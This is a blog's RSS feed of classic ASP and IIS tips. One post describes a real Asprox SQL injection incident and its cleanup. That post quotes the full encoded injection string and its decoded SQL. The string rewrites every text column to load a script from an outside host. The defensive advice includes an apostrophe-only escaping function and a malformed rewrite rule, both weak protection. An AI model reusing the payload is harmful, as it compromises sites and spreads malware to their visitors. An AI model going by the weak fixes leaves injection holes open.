<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>leinadium &#187; asp</title>
	<atom:link href="http://www.leinadium.com/tag/asp/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.leinadium.com</link>
	<description>Techhead. Codewarrior. Legalnerd.</description>
	<lastBuildDate>Fri, 02 Sep 2011 20:09:28 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>classic asp memory leaks in IIS</title>
		<link>http://www.leinadium.com/code/classic-asp-memory-leaks-in-iis/</link>
		<comments>http://www.leinadium.com/code/classic-asp-memory-leaks-in-iis/#comments</comments>
		<pubDate>Fri, 10 Apr 2009 19:55:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[code]]></category>
		<category><![CDATA[asp]]></category>
		<category><![CDATA[iis]]></category>
		<category><![CDATA[memory leak]]></category>

		<guid isPermaLink="false">http://www.leinadium.com/?p=102</guid>
		<description><![CDATA[Here&#8217;s a nice link to tools that will help you figure out where the memory leak is happening: http://community.sgdotnet.org/blogs/darenhan/archive/2007/10/29/How-to-solve-memory-leak-in-IIS-w3p.exe.aspx Remember the following: 1. close your database recordsets 2. close your database connections 3. close any other objects you&#8217;ve created 4. in case you come across a response.redirect do all of the above before calling it. [...]]]></description>
			<content:encoded><![CDATA[<p>Here&#8217;s a nice link to tools that will help you figure out where the memory leak is happening:</p>
<p><a href="http://community.sgdotnet.org/blogs/darenhan/archive/2007/10/29/How-to-solve-memory-leak-in-IIS-w3p.exe.aspx">http://community.sgdotnet.org/blogs/darenhan/archive/2007/10/29/How-to-solve-memory-leak-in-IIS-w3p.exe.aspx</a></p>
<p>Remember the following:</p>
<p>1. close your database recordsets</p>
<p>2. close your database connections</p>
<p>3. close any other objects you&#8217;ve created</p>
<p>4. in case you come across a response.redirect do all of the above before calling it.</p>
<p>5. read 4.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.leinadium.com/code/classic-asp-memory-leaks-in-iis/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>strip html tags in vbscript</title>
		<link>http://www.leinadium.com/code/strip-html-tags-in-vbscript/</link>
		<comments>http://www.leinadium.com/code/strip-html-tags-in-vbscript/#comments</comments>
		<pubDate>Fri, 23 Jan 2009 11:59:14 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[code]]></category>
		<category><![CDATA[asp]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[regex]]></category>

		<guid isPermaLink="false">http://217.11.59.22/leinadium/?p=60</guid>
		<description><![CDATA[Function stripHTMLtags(HTMLstring) Set RegularExpressionObject = New RegExp With RegularExpressionObject .Pattern = &#8220;&#60;[^&#62;]+&#62;&#8221; .IgnoreCase = True .Global = True End With stripHTMLtags = RegularExpressionObject.Replace(HTMLstring, &#8220;&#8221;) Set RegularExpressionObject = nothing End Function]]></description>
			<content:encoded><![CDATA[<p><span style="color: #808080;">Function stripHTMLtags(HTMLstring)</span></p>
<p>Set RegularExpressionObject = New RegExp</p>
<p>With RegularExpressionObject<br />
.Pattern = &#8220;&lt;[^&gt;]+&gt;&#8221;<br />
.IgnoreCase = True<br />
.Global = True<br />
End With</p>
<p>stripHTMLtags = RegularExpressionObject.Replace(HTMLstring, &#8220;&#8221;)<br />
Set RegularExpressionObject = nothing</p>
<p>End Function</p>
]]></content:encoded>
			<wfw:commentRss>http://www.leinadium.com/code/strip-html-tags-in-vbscript/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>iis using cifs share (unc) really slow! here&#8217;s the solution.</title>
		<link>http://www.leinadium.com/code/iis-using-cifs-share-unc-really-slow-heres-the-solution/</link>
		<comments>http://www.leinadium.com/code/iis-using-cifs-share-unc-really-slow-heres-the-solution/#comments</comments>
		<pubDate>Fri, 23 Jan 2009 11:17:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[code]]></category>
		<category><![CDATA[asp]]></category>
		<category><![CDATA[cifs]]></category>
		<category><![CDATA[iis]]></category>
		<category><![CDATA[isapi rewrite]]></category>
		<category><![CDATA[share]]></category>
		<category><![CDATA[unc]]></category>

		<guid isPermaLink="false">http://217.11.59.22/leinadium/?p=38</guid>
		<description><![CDATA[I just spent the whole weekend waging war with my IIS box (2003 server). After switching the files from a local drive to a netapp share (cifs), the speed of my site slowed to a crawl. The pages would still appear &#8211; but the pace was incredibly slow. What&#8217;s more, the ISAPI REWRITE extension was [...]]]></description>
			<content:encoded><![CDATA[<p>I just spent the whole weekend waging war with my IIS box (2003 server). After switching the files from a local drive to a netapp share (cifs), the speed of my site slowed to a crawl.<br />
The pages would still appear &#8211; but the pace was incredibly slow.<br />
What&#8217;s more, the ISAPI REWRITE extension was no longer working, even though the httpd.ini file was in the web root &#8211; as it had been before, but for some reason the rewrite extension could not see the file.</p>
<p>So, I hoped that my usual strategy would yield the solution to the problem. The right combination of keywords usually finds a forum entry with the same problem and a corresponding solution. This time however, no such luck. A good hint did come from the helicon tech forum (the makers of ISAPI rewrite).</p>
<p>The solution was to change the application pool identity (user).<br />
The network service user &#8211; the default for an application pool &#8211; did not have proper access to the share (although it did have some access &#8211; probably after x timeouts). The new user (specifically created for the cifs share) solved the problem and IIS is humming again. I had to add some group memberships to this user to make it work.<br />
Hope this helps someone in the same situation.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.leinadium.com/code/iis-using-cifs-share-unc-really-slow-heres-the-solution/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fast-flux botnet! Asprox! SQL Injection! oh no!</title>
		<link>http://www.leinadium.com/security/fast-flux-botnet-asprox-sql-injection-oh-no/</link>
		<comments>http://www.leinadium.com/security/fast-flux-botnet-asprox-sql-injection-oh-no/#comments</comments>
		<pubDate>Fri, 23 Jan 2009 11:03:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[security]]></category>
		<category><![CDATA[asp]]></category>
		<category><![CDATA[iis]]></category>
		<category><![CDATA[sql injection]]></category>

		<guid isPermaLink="false">http://217.11.59.22/leinadium/?p=36</guid>
		<description><![CDATA[No, it&#8217;s not from &#8220;back to the future&#8221;. But it might make you rip your hair out and you&#8217;ll end up looking like the Doc. Here&#8217;s an introduction of what they are: http://blogs.zdnet.com/security/?p=1122 and some evidence of people scrambling on how to protect their servers: http://www.experts-exchange.com/Security/Vulnerabilities/Q_23408074.html This morning I got a frantic call from headoffice [...]]]></description>
			<content:encoded><![CDATA[<p>No, it&#8217;s not from &#8220;back to the future&#8221;. But it might make you rip your hair out and you&#8217;ll end up looking like the Doc.</p>
<p>Here&#8217;s an introduction of what they are: http://blogs.zdnet.com/security/?p=1122<br />
and some evidence of people scrambling on how to protect their servers: http://www.experts-exchange.com/Security/Vulnerabilities/Q_23408074.html</p>
<p>This morning I got a frantic call from headoffice telling me that we&#8217;ve been hacked and that the database is filled with Javascript strings pointing to www.banner82.com/b.js. Both banner82.com and banner82.org are referenced in the scripts.</p>
<p>Here&#8217;s the querystring that was (and is still) being tried against all variables of our application:<br />
<code><br />
DECLARE%20@S%20 VARCHAR(4000);SET%20@S=CAST(0x4445434C41524520405420564152434841522832 3535292C40432056415243484152283235352920444 5434C415245205461626C655F437572736F72204355 52534F5220464F522053454C45435420612E6E616D6 52C622E6E616D652046524F4D207379736F626A6563 747320612C737973636F6C756D6E732062205748455 24520612E69643D622E696420414E4420612E787479 70653D27752720414E442028622E78747970653D393 9204F5220622E78747970653D3335204F5220622E78 747970653D323331204F5220622E78747970653D313 63729204F50454E205461626C655F437572736F7220 4645544348204E4558542046524F4D205461626C655 F437572736F7220494E544F2040542C404320574849 4C4528404046455443485F5354415455533D3029204 24547494E20455845432827555044415445205B272B4 0542B275D20534554205B272B40432B275D3D525452 494D28434F4E5645525428564152434841522834303 030292C5B272B40432B275D29292B27273C736372697 074207372633D687474703A2F2F7777772E62616E6E 657238322E636F6D2F622E6A733E3C2F736372697074 3E27272729204645544348204E4558542046524F4D205461626C<br />
655F437572736F7220494E544F2040542C404320454E 4420434C4F5345205461626C655F437572736F722044 45414C4C4F43415445205461626C655F437572736F722</code></p>
<p><code>0%20AS%20VARCHAR(4000));EXEC(@S);--<br />
</code><br />
which translates to the following sql statements:<br />
<code><br />
DECLARE<br />
@T VARCHAR(255),<br />
@C VARCHAR(255)<br />
DECLARE<br />
Table_Cursor<br />
CURSOR FOR<br />
SELECT<br />
a.name,b.name<br />
FROM<br />
sysobjects a,syscolumns b<br />
WHERE<br />
a.id=b.id AND<br />
a.xtype='u' AND<br />
(b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)<br />
OPEN<br />
Table_Cursor<br />
FETCH NEXT FROM<br />
Table_Cursor<br />
INTO @T,@C<br />
WHILE(@@FETCH_STATUS=0)<br />
BEGIN<br />
EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''''')<br />
FETCH NEXT FROM Table_Cursor<br />
INTO @T,@C<br />
END<br />
CLOSE Table_Cursor<br />
DEALLOCATE Table_Cursor<br />
</code>(courtesy of http://pastebin.com/d73dda647)</p>
<p>So we got hit. Here&#8217;s what we did and what you can do to protect your servers.</p>
<p>Step 1. Take down the site.<br />
Step 2. Clean the database<br />
Step 3. Patch the .asp pages to look for possible injection attacks.<br />
Step 4. Bring the site back up and monitor it.</p>
<p>Here are some tips:<br />
1. Taking down the site is quickly done in IIS, but it&#8217;s worthwhile to redirect to a page that tells users that you&#8217;ll be back up shortly.<br />
2. To clean the database I used 2 stored procedures. The reason that there are 2 is that SQL Server 2000 needs some extra tweaking when it comes to ntext fields.<br />
2a. The first stored procedure was taken from this site: http://vyaskn.tripod.com/sql_server_search_and_replace.htm.<br />
I had to customize the stored prcedure a bit, but<span style="font-family: verdana; font-size: 85%;"><span style="font-family: verdana; font-size: 85%;"> Vyas has written a great stored procedure that gets us halfway there.2b. <span style="font-family: verdana; font-size: 85%;"><span style="font-family: verdana; font-size: 85%;">Now we just have ntext fields left that contain the javascript tags. Ntext fields are more difficult to work with, as you can&#8217;t use the replace function. Instead, we use the Updatetext function.<br />
To do this, I customized the stored procedure found on http://sqlserver2000.databases.aspfaq.com/how-do-i-handle-replace-within-an-ntext-column-in-sql-server.html<br />
at aspfaq.com<br />
This stored procedure will replace one string with another in ntext fields. Even though this wasn&#8217;t strictly necessary (as you can see above, the ntext fields were cut down to 4000 character fields in the attack), I decided to find out how to replace strings in ntext fields.3. Patching the pages: To do so, you can either parameterize all your query variables into stored procedures (or cmd objects), or you can write your own asp function to strip all inputs before they are sent to the database in dynamic queries.<br />
We chose to go the route of writing our own asp function.</p>
<p>You can use something as simple as:</p>
<p>FUNCTION ChkString(string)<br />
IF string = &#8220;&#8221; THEN<br />
string = &#8221; &#8221;<br />
END IF<br />
ChkString = Replace(string, &#8220;&#8216;&#8221;, &#8220;&#8221;&#8221;)<br />
END FUNCTION</p>
<p>which will only make sure that all apostrophes are escaped. To make a more advanced function, you can add the Server.HTMLEncode function, and any regular expressions or replacing functions to filter out any offending characters. Just search for XSS vulnerability to get more information on this.</p>
<p>Of importance here is to make sure that all numeric values that go to the database are first enclosed in the CLNG conversion function. This will throw an error anytime an input contains a non-numeric string instead of the number you&#8217;re expecting. You can use this error to monitor how attacks on your site are made by specifying a custom asp error page in IIS.</p>
<p>The custom error page can be called asperror.asp and contain the following:</p>
<p>sub geterror<br />
&#8216; gather details about the error from the ASPError object<br />
&#8216; get the last error that occurred!<br />
set objasperror = server.getlasterror<br />
&#8216; go through the properties and get whatever you need&#8230;<br />
With objasperror<br />
code = .aspcode<br />
num = .number<br />
src = .source<br />
cat = .category<br />
file = .file<br />
line = .line<br />
column = .column<br />
desc = .description<br />
adesc = .aspdescription<br />
end With</p>
<p>&#8216; free ASPError object<br />
set objasperror = nothing</p>
<p>&#8216;sendmail<br />
Sendmail &#8220;info@mail.com&#8221;, &#8220;info@mail.com&#8221; &#8220;asperror&#8221;, &#8220;Code: &#8221; &amp; code &amp; VbCrLf &amp; &#8220;Num: &#8221; &amp; num &amp; VbCrLf &amp; &#8220;src: &#8221; &amp; src &amp; vbCrLf &amp; &#8220;cat: &#8221; &amp; cat &amp; VbCrLf &amp; &#8220;File: &#8221; &amp; file &amp; VbCrLf &amp; &#8220;line: &#8221; &amp; line &amp; VbCrLf &amp; &#8220;Column: &#8221; &amp; column &amp; VbCrLf &amp; &#8220;Desc: &#8221; &amp; desc &amp; VbCRLf &amp; &#8220;ASPDesc: &#8221; &amp; adesc &amp; VbCrLf &amp; &#8220;QueryString:&#8221; &amp; Request.QueryString() &amp; VbCrLf &amp; Request.Form() &amp; VbCrLf &amp; &#8220;Referer: &#8221; &amp; Request.ServerVariables(&#8220;HTTP_Referer&#8221;) &amp; &#8221; &#8221; &amp; Request.ServerVariables(&#8220;REMOTE_ADDR&#8221;)</p>
<p>END SUB</p>
<p>This kind of function will keep you up-to-date on how and who is trying to attack your server.</p>
<p>4. Last but not least: Avoid this kind of attack all together. With an ISAPI component like ISAPI Rewrite by Helicon, you state something like:<br />
Rewriterule .*DECLAREs.* http://www.mysite.com/block.asp [I,R]<br />
which will make sure that all these attempts are redirected.</p>
<p></span></span></p>
<p></span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.leinadium.com/security/fast-flux-botnet-asprox-sql-injection-oh-no/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>odbc 3.51 Invalid string or buffer length error</title>
		<link>http://www.leinadium.com/code/odbc-351-invalid-string-or-buffer-length-error/</link>
		<comments>http://www.leinadium.com/code/odbc-351-invalid-string-or-buffer-length-error/#comments</comments>
		<pubDate>Fri, 23 Jan 2009 11:01:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[code]]></category>
		<category><![CDATA[asp]]></category>
		<category><![CDATA[mysql]]></category>

		<guid isPermaLink="false">http://217.11.59.22/leinadium/?p=32</guid>
		<description><![CDATA[I&#8217;m using ODBC 3.51 to connect an ASP scripted site to MySql. I got very strange errors when calling the update function: &#8220;Invalid string or buffer length error&#8221;. It turns out that the following line is mandatory for the ODBC driver: The problem is the CursorLocation, the solution is that sentence rs.CursorLocation = 3 or [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m using ODBC 3.51 to connect an ASP scripted site to MySql. I got very strange errors when calling the update function: &#8220;Invalid string or buffer length error&#8221;.<br />
It turns out that the following line is mandatory for the ODBC driver:</p>
<p>The problem is the CursorLocation, the solution is that sentence</p>
<p>rs.CursorLocation = 3 or rs.CursorLocation = adUseClient</p>
<p>Just in case someone is pulling their hair out over this also&#8230;</p>
<p>Will version 3.51 ever update? I&#8217;ve seen this version for years and 5.1 has been in alpha for the same amount of time&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.leinadium.com/code/odbc-351-invalid-string-or-buffer-length-error/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>re captcha for classic asp in vbscript</title>
		<link>http://www.leinadium.com/code/re-captcha-for-classic-asp-in-vbscript/</link>
		<comments>http://www.leinadium.com/code/re-captcha-for-classic-asp-in-vbscript/#comments</comments>
		<pubDate>Fri, 23 Jan 2009 10:52:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[code]]></category>
		<category><![CDATA[asp]]></category>
		<category><![CDATA[captcha]]></category>
		<category><![CDATA[recaptcha]]></category>
		<category><![CDATA[vbscript]]></category>
		<category><![CDATA[webservice]]></category>

		<guid isPermaLink="false">http://217.11.59.22/leinadium/?p=21</guid>
		<description><![CDATA[If you&#8217;d like to use recaptcha on your classic asp pages, you&#8217;ll likely find this post http://groups.google.com/group/recaptcha/msg/187b6f7a32f4cbe4 in google groups interesting. Recaptcha, as you may well know, is the project by Carnegie Mellon University that is using the millions of CAPTCHA inputs on websites to digitize books. In fact, it is using human procesing power [...]]]></description>
			<content:encoded><![CDATA[<p>If you&#8217;d like to use recaptcha on your <strong style="color: black; background-color: #ff9999;">classic</strong> <strong style="color: black; background-color: #ff66ff;">asp</strong> pages, you&#8217;ll likely find this post http://groups.google.com/group/recaptcha/msg/187b6f7a32f4cbe4 in google groups interesting.<br />
Recaptcha, as you may well know, is the project by Carnegie Mellon University that is using the millions of CAPTCHA inputs on websites to digitize books. In fact, it is using human procesing power to digitize those parts that OCR software is having trouble with.<br />
Great Idea!<br />
So, on to making it work with <strong style="color: black; background-color: #ff66ff;">asp</strong>:</p>
<p><span style="font-family: courier new;"> Response.Write recaptcha_challenge_writer(publickey12)</span><br />
<span style="font-family: courier new;">If Request.ServerVariables(&#8220;CONTENT_LENGTH&#8221;) &lt;&gt; 0 Then</span><br />
<span style="font-family: courier new;"> Dim strReturn</span><br />
<span style="font-family: courier new;"> strReturn = recaptcha_confirm(privatekey12,Request.Form(&#8220;recaptcha_challenge_field&#8221;),Request.Form(&#8220;recaptcha_response_field&#8221;))</span><br />
<span style="font-family: courier new;"> If strReturn &lt;&gt; TRUE Then</span><br />
<span style="font-family: courier new;"> Response.Write  strReturn</span><br />
<span style="font-family: courier new;"> Else</span><br />
<span style="font-family: courier new;"> Response.Write &#8220;all ok&#8221;</span><br />
<span style="font-family: courier new;"> END IF</span><br />
<span style="font-family: courier new;">END If</span></p>
<p><span style="font-family: courier new;">&#8216; returns string the can be written where you would like the reCAPTCHA challenged placed on your page</span><br />
<span style="font-family: courier new;">function recaptcha_challenge_writer(publickey)</span><br />
<span style="font-family: courier new;"> Dim str</span><br />
<span style="font-family: courier new;"> </span><br />
<span style="font-family: courier new;"> str = &#8220;<script>var RecaptchaOptions = {theme : 'white',   tabindex : 0};</script><script>&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    str = str &amp;amp; " src=""http://api.recaptcha.net/challenge?k="&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    str = str &amp;amp; publickey &amp;amp; """&gt;</script><noscript>&lt;iframe&gt;&lt;br /&gt;&lt;span style=&#8221;font-family:courier new;&#8221;&gt; str = str &amp;amp; &#8221; src=&#8221;"http://api.recaptcha.net/noscript?k=&#8221; &lt;/span&gt;&lt;br /&gt;&lt;span style=&#8221;font-family:courier new;&#8221;&gt; str = str &amp;amp; publickey &amp;amp; &#8220;&#8221;" frameborder=&#8221;"1&#8243;&#8221;&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;textarea name=&#8221;" rows=&#8221;" cols=&#8221;"&gt;&lt;/textarea&gt;&lt;input type=&#8221;" name=&#8221;" value=&#8221;"&gt;</noscript>&#8220;</span><br />
<span style="font-family: courier new;"> recaptcha_challenge_writer = str</span><br />
<span style="font-family: courier new;">end function </span></p>
<p><span style="font-family: courier new;">function recaptcha_confirm(privkey,rechallenge,reresponse)</span><br />
<span style="font-family: courier new;"> &#8216; Test the captcha field</span><br />
<span style="font-family: courier new;"> Dim VarString</span><br />
<span style="font-family: courier new;"> VarString = _</span><br />
<span style="font-family: courier new;"> &#8220;privatekey=&#8221; &amp; privkey &amp; _</span><br />
<span style="font-family: courier new;"> &#8220;&amp;remoteip=&#8221; &amp; Request.ServerVariables(&#8220;REMOTE_ADDR&#8221;) &amp; _</span><br />
<span style="font-family: courier new;"> &#8220;&amp;challenge=&#8221; &amp; rechallenge &amp; _</span><br />
<span style="font-family: courier new;"> &#8220;&amp;response=&#8221; &amp; reresponse</span></p>
<p><span style="font-family: courier new;"> Dim objXmlHttp</span><br />
<span style="font-family: courier new;"> Set objXmlHttp = Server.CreateObject(&#8220;Msxml2.ServerXMLHTTP&#8221;)</span><br />
<span style="font-family: courier new;"> objXmlHttp.open &#8220;POST&#8221;, &#8220;http://api-verify.recaptcha.net/verify&#8221;,False</span><br />
<span style="font-family: courier new;"> objXmlHttp.setRequestHeader &#8220;Content-Type&#8221;, &#8220;application/x-www-form-urlencoded&#8221;</span><br />
<span style="font-family: courier new;"> objXmlHttp.send VarString</span></p>
<p><span style="font-family: courier new;"> Dim ResponseString</span><br />
<span style="font-family: courier new;"> ResponseString = split(objXmlHttp.responseText, vblf)</span><br />
<span style="font-family: courier new;"> Set objXmlHttp = Nothing</span><br />
<span style="font-family: courier new;"> if ResponseString(0) = &#8220;true&#8221; then</span><br />
<span style="font-family: courier new;"> &#8216;They answered correctly</span><br />
<span style="font-family: courier new;"> recaptcha_confirm = TRUE</span><br />
<span style="font-family: courier new;"> else</span><br />
<span style="font-family: courier new;"> &#8216;They answered incorrectly</span><br />
<span style="font-family: courier new;"> recaptcha_confirm = ResponseString(1)</span><br />
<span style="font-family: courier new;"> end if</span><br />
<span style="font-family: courier new;">end function </span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.leinadium.com/code/re-captcha-for-classic-asp-in-vbscript/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>mysql iis asp and the crazies</title>
		<link>http://www.leinadium.com/code/mysql-iis-asp-and-the-crazies/</link>
		<comments>http://www.leinadium.com/code/mysql-iis-asp-and-the-crazies/#comments</comments>
		<pubDate>Fri, 23 Jan 2009 10:42:56 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[code]]></category>
		<category><![CDATA[asp]]></category>
		<category><![CDATA[iis]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[settings]]></category>

		<guid isPermaLink="false">http://217.11.59.22/leinadium/?p=3</guid>
		<description><![CDATA[It&#8217;s been a long time coming. Here are the error messages of the last two months on Windows IIS6 using ASP 3.0: The ominous asp error -2147467259: [MySQL][ODBC 3.51 Driver]Can&#8217;t create TCP/IP socket (10038) [MySQL][ODBC 5.1 Driver]Can&#8217;t create TCP/IP socket (10038) [MySQL][ODBC 3.51 Driver][mysqld-5.0.44-log]MySQL server has gone away Searching for this error on google and [...]]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s been a long time coming.<br />
Here are the error messages of the last two months on Windows IIS6 using ASP 3.0:<br />
The ominous asp error -2147467259:<br />
[<strong style="color: black; background-color: #ffff66;">MySQL</strong>][ODBC 3.51 Driver]<strong style="color: black; background-color: #a0ffff;">Can&#8217;t</strong> <strong style="color: black; background-color: #99ff99;">create</strong> <strong style="color: black; background-color: #ff9999;">TCP/IP</strong> <strong style="color: black; background-color: #ff66ff;">socket</strong> (<strong style="color: white; background-color: #880000;">10038</strong>)<br />
[<strong style="color: black; background-color: #ffff66;">MySQL</strong>][ODBC 5.1 Driver]<strong style="color: black; background-color: #a0ffff;">Can&#8217;t</strong> <strong style="color: black; background-color: #99ff99;">create</strong> <strong style="color: black; background-color: #ff9999;">TCP/IP</strong> <strong style="color: black; background-color: #ff66ff;">socket</strong> (<strong style="color: white; background-color: #880000;">10038</strong>)<br />
[<strong style="color: black; background-color: #ffff66;">MySQL</strong>][ODBC 3.51 Driver][mysqld-5.0.44-log]<strong style="color: black; background-color: #ffff66;">MySQL</strong> server has gone away</p>
<p>Searching for this error on google and <strong style="color: black; background-color: #ffff66;">mysql</strong>.com would yield results that ranged from other helpless users asking the same question, to <strong style="color: black; background-color: #ffff66;">mysql</strong> admins posting that this is not actually a bug and there&#8217;s nothing they can do.</p>
<p>This error would occur sporadically, usually under heavy load and would return relentlessly. Nothing would help!<br />
We tried all the suggestions from various sources (too many to list now), including debugging iis, windows, cleaning up after all connections to the database, mdac updates, <strong style="color: black; background-color: #ff9999;">tcp/ip</strong> ephemeral port range of windows increase, tweaking the registry, etc&#8230;</p>
<p>Feeling there&#8217;s nothing we could do on the web server platform, we moved on to the db servers (<strong style="color: black; background-color: #ffff66;">mysql</strong> servers 5.x running on debian).<br />
Here we got errors like the following:</p>
<p>Aborted connection 887 to db: &#8216;abc&#8217; user:<br />
&#8216;abc&#8217; host: &#8217;123.456.789.123&#8242; (Got an error reading communication<br />
packets)</p>
<p>We tried all the fitting suggestion on<a href="http://dev.mysql.com/doc/refman/5.1/en/%20communication-errors.html"> http://dev.<strong style="color: black; background-color: #ffff66;">mysql</strong>.com/doc/refman/5.1/en/<br />
communication-errors.html</a> without a proper result.<br />
The error returned again and again.<br />
After tweaking several <strong style="color: black; background-color: #ffff66;">mysql</strong> config variables we finally came upon a little noticed post on:<br />
<a href="http://themattreid.com/wordpress/?p=15">http://themattreid.com/wordpress/?p=15</a></p>
<p>Thank you matt reid!<br />
Increasing the max_allowed_packet from 8MB to 64 MB did the trick.<br />
Time to celebrate.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.leinadium.com/code/mysql-iis-asp-and-the-crazies/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

